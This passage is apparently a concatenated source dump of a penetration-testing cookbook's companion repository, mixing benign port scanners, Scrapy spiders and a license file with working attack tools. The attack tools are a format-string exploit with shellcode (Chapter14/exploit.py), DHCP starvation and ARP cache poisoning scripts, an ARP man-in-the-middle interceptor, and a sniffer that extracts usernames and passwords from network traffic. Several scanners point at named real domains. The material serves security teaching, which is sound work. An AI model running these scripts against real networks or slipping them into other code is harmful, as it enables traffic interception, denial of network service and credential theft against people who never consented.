fileName = basename(urllib.parse.urlsplit(m[1])[2]) 24 | print(fileName) 25 | request = 'https:' + urllib.parse.quote(m[1]) 26 | img = urllib.request.urlopen(request).read() 27 | file = open(fileName, "wb") 28 | file.write(img) 29 | file.close() 30 | 31 | break 32 | -------------------------------------------------------------------------------- /Chapter06/port-scanner-default-ports.py: -------------------------------------------------------------------------------- 1 | import socket,sys,os 2 | 3 | os.system('clear') 4 | 5 | host = 'www.dvwa.co.uk' 6 | ip = socket.gethostbyname(host) 7 | 8 | open_ports =[] 9 | common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 10 | 123, 137, 138, 139, 143, 156, 161, 389, 443, 11 | 445, 500, 546, 547, 587, 660, 995, 993, 2086, 12 | 2087, 2082, 2083, 3306, 8443, 10000 13 | } 14 | 15 | def probe_port(host, port, result = 1): 16 | try: 17 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | sock.settimeout(0.5) 19 | r = sock.connect_ex((host, port)) 20 | if r == 0: 21 | result = r 22 | sock.close() 23 | except Exception, e: 24 | print e; 25 | pass 26 | 27 | return result 28 | 29 | for p in sorted(common_ports): 30 | sys.stdout.flush() 31 | print p 32 | response = probe_port(host, p) 33 | if response == 0: 34 | open_ports.append(p) 35 | 36 | if open_ports: 37 | print "Open Ports" 38 | print sorted(open_ports) 39 | else: 40 | print "Sorry, No open ports found.!!" 41 | 42 | -------------------------------------------------------------------------------- /Chapter06/port-scanner-default-ports-py3.py: -------------------------------------------------------------------------------- 1 | import socket,sys,os 2 | 3 | os.system('clear') 4 | 5 | host = 'www.dvwa.co.uk' 6 | ip = socket.gethostbyname(host) 7 | 8 | open_ports =[] 9 | common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 10 | 123, 137, 138, 139, 143, 156, 161, 389, 443, 11 | 445, 500, 546, 547, 587, 660, 995, 993, 2086, 12 | 2087, 2082, 2083, 3306, 8443, 10000 13 | } 14 | 15 | def probe_port(host, port, result = 1): 16 | try: 17 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | sock.settimeout(0.5) 19 | r = sock.connect_ex((host, port)) 20 | if r == 0: 21 | result = r 22 | sock.close() 23 | except Exception as e: 24 | print (e); 25 | pass 26 | 27 | return result 28 | 29 | for p in sorted(common_ports): 30 | sys.stdout.flush() 31 | print (p) 32 | response = probe_port(host, p) 33 | if response == 0: 34 | open_ports.append(p) 35 | 36 | if open_ports: 37 | print ("Open Ports") 38 | print (sorted(open_ports)) 39 | else: 40 | print ("Sorry, No open ports found.!!") 41 | 42 | -------------------------------------------------------------------------------- /Chapter05/books/books/spiders/home.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from scrapy.spiders import CrawlSpider, Rule 3 | from scrapy.linkextractors import LinkExtractor 4 | from books.item import BookItem 5 | 6 | class HomeSpider(CrawlSpider): 7 | name = 'home' 8 | allowed_domains = ['books.toscrape.com'] 9 | start_urls = ['http://books.toscrape.com/'] 10 | rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)), 11 | callback="parse_page", 12 | follow=True),) 13 | 14 | def parse_page(self, response): 15 | items = [] 16 | books = response.xpath('//ol/li/article') 17 | index = 0 18 | for book in books: 19 | item = BookItem() 20 | title = books.xpath('//h3/a/text()')[index].extract() 21 | item['title'] = str(title).encode('utf-8').strip() 22 | price = books.xpath('//article/div[contains(@class, "product_price")]/p[1]/text()')[index].extract() 23 | item['price'] = str(price).encode('utf-8').strip() 24 | items.append(item) 25 | index += 1 26 | yield item 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Packt 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Chapter14/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | w1 = '\x48\x97\x04\x08JUNK' 4 | w2 = '\x49\x97\x04\x08JUNK' 5 | w3 = '\x4a\x97\x04\x08JUNK' 6 | w4 = '\x4b\x97\x04\x08JUNK' 7 | 8 | b1 = 0x10 9 | b2 = 0xf1 10 | b3 = 0xff 11 | b4 = 0xbf 12 | 13 | n1 = 256 + b1 - 0x2e 14 | n2 = 256*2 + b2 - n1 - 0x2e 15 | n3 = 256*3 + b3 - n1 - n2 - 0x2e 16 | n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2e 17 | 18 | form = '%x%x%' + str(n1) + 'x%n%' + str(n2) 19 | form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n' 20 | 21 | nopsled = '\x90' * 95 22 | 23 | 24 | buf = "" 25 | buf += "\xbd\x55\xe7\x12\xd0\xd9\xc2\xd9\x74\x24\xf4\x5e\x33" 26 | buf += "\xc9\xb1\x18\x31\x6e\x13\x03\x6e\x13\x83\xee\xa9\x05" 27 | buf += "\xe7\xba\x53\x92\xc5\xbb\xd6\xe2\xa2\xbd\xe9\x22\xfa" 28 | buf += "\xc3\xc4\x23\xca\x18\x21\xc0\x7e\xdc\x9e\x6d\x83\x6b" 29 | buf += "\xc1\xc2\xe5\xa6\x81\x78\xb4\x6a\xe9\x7c\x48\x9a\xb5" 30 | buf += "\xea\x58\xcd\x15\x62\xb9\x87\xf3\x2c\xf7\xd8\x72\x8d" 31 | buf += "\x03\x6a\x80\xbe\x6a\x41\x08\xfd\xc2\x3f\xc5\x82\xb0" 32 | buf += "\x99\xbf\xbd\xee\xd4\xbf\x8b\x77\x1f\xd7\x24\xa7\xac" 33 | buf += "\x4f\x53\x98\x30\xe6\xcd\x6f\x57\xa8\x42\xf9\x79\xf8" 34 | buf += "\x6e\x34\xf9" 35 | 36 | postfix = 'X' *(250 - len(buf)) 37 | 38 | print w1 + w2 + w3 + w4 + form + nopsled + buf + postfix -------------------------------------------------------------------------------- /Chapter06/ack-scanner.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | host = 'rejahrehim.com' 4 | ip = socket.gethostbyname(host) 5 | port = 80 6 | 7 | def is_up(ip): 8 | icmp = IP(dst=ip)/ICMP() 9 | resp = sr1(icmp, timeout=10) 10 | if resp == None: 11 | return False 12 | else: 13 | return True 14 | 15 | def probe_port(ip, port, result = 1): 16 | src_port = RandShort() 17 | try: 18 | p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='A', seq=12345) 19 | resp = sr1(p, timeout=2) # Sending packet 20 | if str(type(resp)) == "": 21 | result = 1 22 | elif resp.haslayer(TCP): 23 | if resp.getlayer(TCP).flags == 0x4: 24 | result = 0 25 | elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 26 | result = 1 27 | 28 | except Exception as e: 29 | pass 30 | 31 | return result 32 | 33 | 34 | if __name__ == '__main__': 35 | conf.verb = 0 36 | if is_up(ip): 37 | response = probe_port(ip, port) 38 | if response == 1: 39 | print ("Filtered | Stateful firewall present") 40 | elif response == 0: 41 | print ("Unfiltered | Stateful firewall absent") 42 | else: 43 | print ("Host is Down") 44 | 45 | 46 | -------------------------------------------------------------------------------- /Chapter07/ack-scanner.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | host = 'rejahrehim.com' 4 | ip = socket.gethostbyname(host) 5 | port = 80 6 | 7 | def is_up(ip): 8 | icmp = IP(dst=ip)/ICMP() 9 | resp = sr1(icmp, timeout=10) 10 | if resp == None: 11 | return False 12 | else: 13 | return True 14 | 15 | def probe_port(ip, port, result = 1): 16 | src_port = RandShort() 17 | try: 18 | p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='A', seq=12345) 19 | resp = sr1(p, timeout=2) # Sending packet 20 | if str(type(resp)) == "": 21 | result = 1 22 | elif resp.haslayer(TCP): 23 | if resp.getlayer(TCP).flags == 0x4: 24 | result = 0 25 | elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 26 | result = 1 27 | 28 | except Exception as e: 29 | pass 30 | 31 | return result 32 | 33 | 34 | if __name__ == '__main__': 35 | conf.verb = 0 36 | if is_up(ip): 37 | response = probe_port(ip, port) 38 | if response == 1: 39 | print ("Filtered | Stateful firewall present") 40 | elif response == 0: 41 | print ("Unfiltered | Stateful firewall absent") 42 | else: 43 | print ("Host is Down") 44 | 45 | 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | # Python Penetration Testing Cookbook 5 | This is the code repository for [Python Penetration Testing Cookbook](https://www.packtpub.com/networking-and-servers/python-penetration-testing-cookbook), published by [Packt](https://www.packtpub.com/?utm_source=github). It contains all the supporting project files necessary to work through the book from start to finish. 6 | ## About the Book 7 | Penetration testing is the use of tools and code to attack a system in order to assess its vulnerabilities to external threats. Python allows pen testers to create their own tools. Since Python is a highly valued pen-testing language, there are many native libraries and Python bindings available specifically for pen-testing tasks. 8 | 9 | 10 | ## Instructions and Navigation 11 | All of the code is organized into folders. Each folder starts with a number followed by the application name. For example, Chapter02. 12 | 13 | 14 | 15 | The code will look like the following: 16 | ``` 17 | import urllib.request 18 | import urllib.parse 19 | import re 20 | from os.path import basename 21 | ``` 22 | 23 | Basically, a computer with Python installed on it. Simulating vulnerable machines and 24 | testing can be done using virtual machines. 25 | 26 | ## Related Products 27 | * [Effective Python Penetration Testing](https://www.packtpub.com/networking-and-servers/effective-python-penetration-testing) 28 | 29 | * [Mastering Windows Penetration Testing](https://www.packtpub.com/networking-and-servers/mastering-windows-penetration-testing) 30 | 31 | * [Python Programming Blueprints](https://www.packtpub.com/application-development/python-programming-blueprints) 32 | 33 | ### Download a free PDF 34 | 35 | If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.
Simply click on the link to claim your free PDF.
36 |

https://packt.link/free-ebook/9781784399771

-------------------------------------------------------------------------------- /Chapter06/fin-scanner.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | host = 'www.dvwa.co.uk' 4 | ip = socket.gethostbyname(host) 5 | 6 | openp = [] 7 | filterdp = [] 8 | common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 9 | 123, 137, 138, 139, 143, 156, 161, 389, 443, 10 | 445, 500, 546, 547, 587, 660, 995, 993, 2086, 11 | 2087, 2082, 2083, 3306, 8443, 10000 12 | } 13 | def is_up(ip): 14 | icmp = IP(dst=ip)/ICMP() 15 | resp = sr1(icmp, timeout=10) 16 | if resp == None: 17 | return False 18 | else: 19 | return True 20 | 21 | def probe_port(ip, port, result = 1): 22 | src_port = RandShort() 23 | try: 24 | p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='F') 25 | resp = sr1(p, timeout=2) # Sending packet 26 | if str(type(resp)) == "": 27 | result = 1 28 | elif resp.haslayer(TCP): 29 | if resp.getlayer(TCP).flags == 0x14: 30 | result = 0 31 | elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 32 | result = 2 33 | 34 | except Exception as e: 35 | pass 36 | 37 | return result 38 | 39 | 40 | if __name__ == '__main__': 41 | conf.verb = 0 42 | if is_up(ip): 43 | for port in common_ports: 44 | print (port) 45 | response = probe_port(ip, port) 46 | if response == 1: 47 | openp.append(port) 48 | elif response == 2: 49 | filterdp.append(port) 50 | 51 | if len(openp) != 0: 52 | print ("Possible Open or Filtered Ports:") 53 | print (openp) 54 | if len(filterdp) != 0: 55 | print ("Possible Filtered Ports:") 56 | print (filterdp) 57 | if (len(openp) == 0) and (len(filterdp) == 0): 58 | print ("Sorry, No open ports found.!!") 59 | else: 60 | print ("Host is Down") 61 | 62 | 63 | -------------------------------------------------------------------------------- /Chapter06/xmas-scanner.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | host = 'www.dvwa.co.uk' 4 | ip = socket.gethostbyname(host) 5 | 6 | openp = [] 7 | filterdp = [] 8 | common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 9 | 123, 137, 138, 139, 143, 156, 161, 389, 443, 10 | 445, 500, 546, 547, 587, 660, 995, 993, 2086, 11 | 2087, 2082, 2083, 3306, 8443, 10000 12 | } 13 | def is_up(ip): 14 | icmp = IP(dst=ip)/ICMP() 15 | resp = sr1(icmp, timeout=10) 16 | if resp == None: 17 | return False 18 | else: 19 | return True 20 | 21 | def probe_port(ip, port, result = 1): 22 | src_port = RandShort() 23 | try: 24 | p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='FPU') 25 | resp = sr1(p, timeout=2) # Sending packet 26 | if str(type(resp)) == "": 27 | result = 1 28 | elif resp.haslayer(TCP): 29 | if resp.getlayer(TCP).flags == 0x14: 30 | result = 0 31 | elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 32 | result = 2 33 | 34 | except Exception as e: 35 | pass 36 | 37 | return result 38 | 39 | 40 | if __name__ == '__main__': 41 | conf.verb = 0 42 | if is_up(ip): 43 | for port in common_ports: 44 | print (port) 45 | response = probe_port(ip, port) 46 | if response == 1: 47 | openp.append(port) 48 | elif response == 2: 49 | filterdp.append(port) 50 | 51 | if len(openp) != 0: 52 | print ("Possible Open or Filtered Ports:") 53 | print (openp) 54 | if len(filterdp) != 0: 55 | print ("Possible Filtered Ports:") 56 | print (filterdp) 57 | if (len(openp) == 0) and (len(filterdp) == 0): 58 | print ("Sorry, No open ports found.!!") 59 | else: 60 | print ("Host is Down") 61 | 62 | 63 | -------------------------------------------------------------------------------- /Chapter06/syn-scanner.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | host = 'www.dvwa.co.uk' 4 | ip = socket.gethostbyname(host) 5 | 6 | openp = [] 7 | filterdp = [] 8 | common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 9 | 123, 137, 138, 139, 143, 156, 161, 389, 443, 10 | 445, 500, 546, 547, 587, 660, 995, 993, 2086, 11 | 2087, 2082, 2083, 3306, 8443, 10000 12 | } 13 | def is_up(ip): 14 | icmp = IP(dst=ip)/ICMP() 15 | resp = sr1(icmp, timeout=10) 16 | if resp == None: 17 | return False 18 | else: 19 | return True 20 | 21 | def probe_port(ip, port, result = 1): 22 | src_port = RandShort() 23 | try: 24 | p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='S') 25 | resp = sr1(p, timeout=2) # Sending packet 26 | if str(type(resp)) == "": 27 | result = 0 28 | elif resp.haslayer(TCP): 29 | if resp.getlayer(TCP).flags == 0x12: 30 | send_rst = sr(IP(dst=ip)/TCP(sport=src_port, dport=port, flags='AR'), timeout=1) 31 | result = 1 32 | elif resp.getlayer(TCP).flags == 0x14: 33 | result = 0 34 | elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 35 | result = 2 36 | except Exception as e: 37 | pass 38 | 39 | return result 40 | 41 | 42 | if __name__ == '__main__': 43 | conf.verb = 0 44 | if is_up(ip): 45 | for port in common_ports: 46 | print (port) 47 | response = probe_port(ip, port) 48 | if response == 1: 49 | openp.append(port) 50 | 51 | if len(openp) != 0: 52 | print ("Open Ports:") 53 | print (openp) 54 | else: 55 | print ("Sorry, No open ports found.!!") 56 | 57 | if len(filterdp) != 0: 58 | print ("Possible Filtered Ports:") 59 | print (filterdp) 60 | else: 61 | print ("Host is Down") 62 | 63 | 64 | -------------------------------------------------------------------------------- /Chapter05/books/books/middlewares.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Define here the models for your spider middleware 4 | # 5 | # See documentation in: 6 | # http://doc.scrapy.org/en/latest/topics/spider-middleware.html 7 | 8 | from scrapy import signals 9 | 10 | 11 | class BooksSpiderMiddleware(object): 12 | # Not all methods need to be defined. If a method is not defined, 13 | # scrapy acts as if the spider middleware does not modify the 14 | # passed objects. 15 | 16 | @classmethod 17 | def from_crawler(cls, crawler): 18 | # This method is used by Scrapy to create your spiders. 19 | s = cls() 20 | crawler.signals.connect(s.spider_opened, signal=signals.spider_opened) 21 | return s 22 | 23 | def process_spider_input(self, response, spider): 24 | # Called for each response that goes through the spider 25 | # middleware and into the spider. 26 | 27 | # Should return None or raise an exception. 28 | return None 29 | 30 | def process_spider_output(self, response, result, spider): 31 | # Called with the results returned from the Spider, after 32 | # it has processed the response. 33 | 34 | # Must return an iterable of Request, dict or Item objects. 35 | for i in result: 36 | yield i 37 | 38 | def process_spider_exception(self, response, exception, spider): 39 | # Called when a spider or process_spider_input() method 40 | # (from other spider middleware) raises an exception. 41 | 42 | # Should return either None or an iterable of Response, dict 43 | # or Item objects. 44 | pass 45 | 46 | def process_start_requests(self, start_requests, spider): 47 | # Called with the start requests of the spider, and works 48 | # similarly to the process_spider_output() method, except 49 | # that it doesn’t have a response associated. 50 | 51 | # Must return only requests (not items). 52 | for r in start_requests: 53 | yield r 54 | 55 | def spider_opened(self, spider): 56 | spider.logger.info('Spider opened: %s' % spider.name) 57 | -------------------------------------------------------------------------------- /Chapter10/dhcp-starvation.py: -------------------------------------------------------------------------------- 1 | """Summary. 2 | 3 | Attributes: 4 | ip (list): Description 5 | mac (list): Description 6 | """ 7 | from scapy.all import * 8 | from time import sleep 9 | from threading import Thread 10 | 11 | mac = [""] 12 | ip = [] 13 | 14 | 15 | def callback_dhcp_handle(pkt): 16 | """Summary. 17 | 18 | Args: 19 | pkt (TYPE): Description 20 | """ 21 | if pkt.haslayer(DHCP): 22 | 23 | if pkt[DHCP].options[0][1] == 5 and pkt[IP].dst != "192.168.1.38": 24 | ip.append(pkt[IP].dst) 25 | print(str(pkt[IP].dst) + " registered") 26 | elif pkt[DHCP].options[0][1] == 6: 27 | print("NAK received") 28 | 29 | 30 | def sniff_udp_packets(): 31 | """Summary.""" 32 | sniff(filter="udp and (port 67 or port 68)", 33 | prn=callback_dhcp_handle, 34 | store=0) 35 | 36 | 37 | def occupy_ip(): 38 | """Summary.""" 39 | for i in range(250): 40 | requested_addr = "192.168.1." + str(2 + i) 41 | if requested_addr in ip: 42 | continue 43 | 44 | src_mac = "" 45 | while src_mac in mac: 46 | src_mac = RandMAC() 47 | mac.append(src_mac) 48 | 49 | pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff") 50 | pkt /= IP(src="0.0.0.0", dst="255.255.255.255") 51 | pkt /= UDP(sport=68, dport=67) 52 | pkt /= BOOTP(chaddr="\x00\x00\x00\x00\x00\x00", xid=0x10000000) 53 | pkt /= DHCP(options=[("message-type", "request"), 54 | ("requested_addr", requested_addr), 55 | ("server_id", "192.168.1.1"), 56 | "end"]) 57 | sendp(pkt) 58 | pkt.show() 59 | print("Trying to occupy " + requested_addr) 60 | sleep(0.2) # interval to avoid congestion and packet loss 61 | 62 | 63 | def main(): 64 | """Summary.""" 65 | thread = Thread(target=sniff_udp_packets) 66 | thread.start() 67 | print("Starting DHCP starvation...") 68 | # Keep starving until all 100 targets are registered 69 | # 100~200 excepts 107 = 100 70 | while len(ip) < 100: 71 | occupy_ip() 72 | print("Targeted IP address starved") 73 | 74 | main() 75 | -------------------------------------------------------------------------------- /Chapter10/arp-cache-poisoning.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | interface = "en0" 4 | gateway_ip = "192.168.1.2" 5 | target_ip = "192.168.1.103" 6 | broadcastMac = "ff:ff:ff:ff:ff:ff" 7 | packet_count = 50 8 | 9 | conf.verb = 0 10 | 11 | 12 | def getMac(IP): 13 | ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface, inter=0.1) 14 | 15 | for send,recive in ans: 16 | return r[Ether].src 17 | return None 18 | 19 | try: 20 | gateway_mac = getMac(gateway_ip) 21 | print ("Gateway MAC :" + gateway_mac) 22 | except: 23 | print ("Failed to get gateway MAC. Exiting.") 24 | sys.exit(0) 25 | try: 26 | target_mac = getMac(target_ip) 27 | print ("Target MAC :" + target_mac) 28 | except: 29 | print ("Failed to get target MAC. Exiting.") 30 | sys.exit(0) 31 | 32 | 33 | 34 | 35 | def poison(gateway_ip,gateway_mac,target_ip,target_mac): 36 | 37 | targetPacket = ARP() 38 | targetPacket.op = 2 39 | targetPacket.psrc = gateway_ip 40 | targetPacket.pdst = target_ip 41 | targetPacket.hwdst= target_mac 42 | 43 | gatewayPacket = ARP() 44 | gatewayPacket.op = 2 45 | gatewayPacket.psrc = target_ip 46 | gatewayPacket.pdst = gateway_ip 47 | gatewayPacket.hwdst= gateway_mac 48 | 49 | while True: 50 | try: 51 | targetPacket.show() 52 | send(targetPacket) 53 | gatewayPacket.show() 54 | send(gatewayPacket) 55 | time.sleep(2) 56 | except KeyboardInterrupt: 57 | restore_target(gateway_ip,gateway_mac,target_ip,target_mac) 58 | sys.exit(0) 59 | sys.exit(0) 60 | return 61 | 62 | def restore(gateway_ip,gateway_mac,target_ip,target_mac): 63 | print("Restoring target...") 64 | send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100) 65 | send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100) 66 | print("[Target Restored...") 67 | sys.exit(0) 68 | 69 | 70 | try: 71 | poison(gateway_ip, gateway_mac,target_ip,target_mac) 72 | 73 | except KeyboardInterrupt: 74 | restore(gateway_ip,gateway_mac,target_ip,target_mac) 75 | sys.exit(0) 76 | -------------------------------------------------------------------------------- /Chapter11/pass-sniffer.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from urllib import parse 3 | 4 | 5 | iface = "en0" 6 | conf.verb=0 7 | 8 | def get_login_pass(body): 9 | 10 | user = None 11 | passwd = None 12 | 13 | userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', 14 | 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', 15 | 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', 16 | 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', 17 | 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario'] 18 | passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', 19 | 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' 20 | 'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena'] 21 | 22 | for login in userfields: 23 | login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE) 24 | if login_re: 25 | user = login_re.group() 26 | for passfield in passfields: 27 | pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE) 28 | if pass_re: 29 | passwd = pass_re.group() 30 | 31 | if user and passwd: 32 | return (user, passwd) 33 | 34 | def pkt_parser(pkt): 35 | if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): 36 | pass 37 | 38 | # TCP 39 | if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): 40 | pkt[TCP].payload 41 | mail_packet = str(pkt[TCP].payload) 42 | 43 | body = str(pkt[TCP].payload) 44 | user_passwd = get_login_pass(body) 45 | if user_passwd != None: 46 | print(parse.unquote(user_passwd[0]).encode("utf8")) 47 | print(parse.unquote( user_passwd[1]).encode("utf8")) 48 | 49 | if pkt[TCP].dport == 21 or pkt[TCP].sport ==21: 50 | data = pkt[Raw].load 51 | print(str(data)) 52 | 53 | 54 | else: 55 | pass 56 | 57 | 58 | try: 59 | sniff(iface=iface, prn=pkt_parser, store=0) 60 | except KeyboardInterrupt: 61 | print("Exiting.. ") 62 | sys.exit(0) 63 | 64 | -------------------------------------------------------------------------------- /Chapter08/mitm-scapy.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from scapy.all import * 3 | 4 | interface = "en0" 5 | source_ip = "192.168.1.1" 6 | destination_ip = "192.168.1.35" 7 | 8 | def getMAC(IP, interface): 9 | answerd, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 5, iface=interface, inter = 0.1) 10 | 11 | for send,recieve in answerd: 12 | return recieve.sprintf(r"%Ether.src%") 13 | 14 | def setIPForwarding(set): 15 | if set: 16 | #for OSX 17 | os.system('sysctl -w net.inet.ip.forwarding=1') 18 | #for Linux 19 | #os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 20 | else: 21 | #for OSX 22 | os.system('sysctl -w net.inet.ip.forwarding=0') 23 | #other 24 | #os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 25 | 26 | def resetARP(destination_ip, source_ip, interface): 27 | destinationMAC = getMAC(destination_ip, interface) 28 | sourceMAC = getMAC(source_ip, interface) 29 | 30 | send(ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=destinationMAC, retry=7)) 31 | send(ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=sourceMAC, retry=7)) 32 | setIPForwarding(False) 33 | 34 | def mitm(destination_ip, destinationMAC, source_ip, sourceMAC): 35 | arp_dest_to_src = ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst=destinationMAC) 36 | arp_src_to_dest = ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst=sourceMAC) 37 | send(arp_dest_to_src) 38 | send(arp_src_to_dest) 39 | 40 | def callBackParser(packet): 41 | if IP in packet: 42 | source_ip = packet[IP].src 43 | destination_ip = packet[IP].dst 44 | print("From : " + str(source_ip) + " to -> " + str(destination_ip)) 45 | 46 | if TCP in packet: 47 | try: 48 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 49 | print(packet[TCP].payload) 50 | except: 51 | pass 52 | 53 | 54 | def main(): 55 | setIPForwarding(True) 56 | 57 | try: 58 | destinationMAC = getMAC(destination_ip, interface) 59 | except Exception as e: 60 | setIPForwarding(False) 61 | print(e) 62 | sys.exit(1) 63 | 64 | try: 65 | sourceMAC = getMAC(source_ip, interface) 66 | except Exception as e: 67 | setIPForwarding(False) 68 | print(e) 69 | sys.exit(1) 70 | 71 | while True: 72 | try: 73 | mitm(destination_ip, destinationMAC, source_ip, sourceMAC) 74 | sniff(iface=interface, prn=callBackParser,count=10) 75 | except KeyboardInterrupt: 76 | resetARP(destination_ip, source_ip, interface) 77 | break 78 | sys.exit(1) 79 | 80 | main() -------------------------------------------------------------------------------- /Chapter05/books/books/settings.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Scrapy settings for books project 4 | # 5 | # For simplicity, this file contains only settings considered important or 6 | # commonly used. You can find more settings consulting the documentation: 7 | # 8 | # http://doc.scrapy.org/en/latest/topics/settings.html 9 | # http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html 10 | # http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html 11 | 12 | BOT_NAME = 'books' 13 | 14 | SPIDER_MODULES = ['books.spiders'] 15 | NEWSPIDER_MODULE = 'books.spiders' 16 | 17 | 18 | # Crawl responsibly by identifying yourself (and your website) on the user-agent 19 | #USER_AGENT = 'books (+http://www.yourdomain.com)' 20 | 21 | # Obey robots.txt rules 22 | ROBOTSTXT_OBEY = True 23 | 24 | # Configure maximum concurrent requests performed by Scrapy (default: 16) 25 | #CONCURRENT_REQUESTS = 32 26 | 27 | # Configure a delay for requests for the same website (default: 0) 28 | # See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay 29 | # See also autothrottle settings and docs 30 | #DOWNLOAD_DELAY = 3 31 | # The download delay setting will honor only one of: 32 | #CONCURRENT_REQUESTS_PER_DOMAIN = 16 33 | #CONCURRENT_REQUESTS_PER_IP = 16 34 | 35 | # Disable cookies (enabled by default) 36 | #COOKIES_ENABLED = False 37 | 38 | # Disable Telnet Console (enabled by default) 39 | #TELNETCONSOLE_ENABLED = False 40 | 41 | # Override the default request headers: 42 | #DEFAULT_REQUEST_HEADERS = { 43 | # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 44 | # 'Accept-Language': 'en', 45 | #} 46 | 47 | # Enable or disable spider middlewares 48 | # See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html 49 | #SPIDER_MIDDLEWARES = { 50 | # 'books.middlewares.BooksSpiderMiddleware': 543, 51 | #} 52 | 53 | # Enable or disable downloader middlewares 54 | # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html 55 | #DOWNLOADER_MIDDLEWARES = { 56 | # 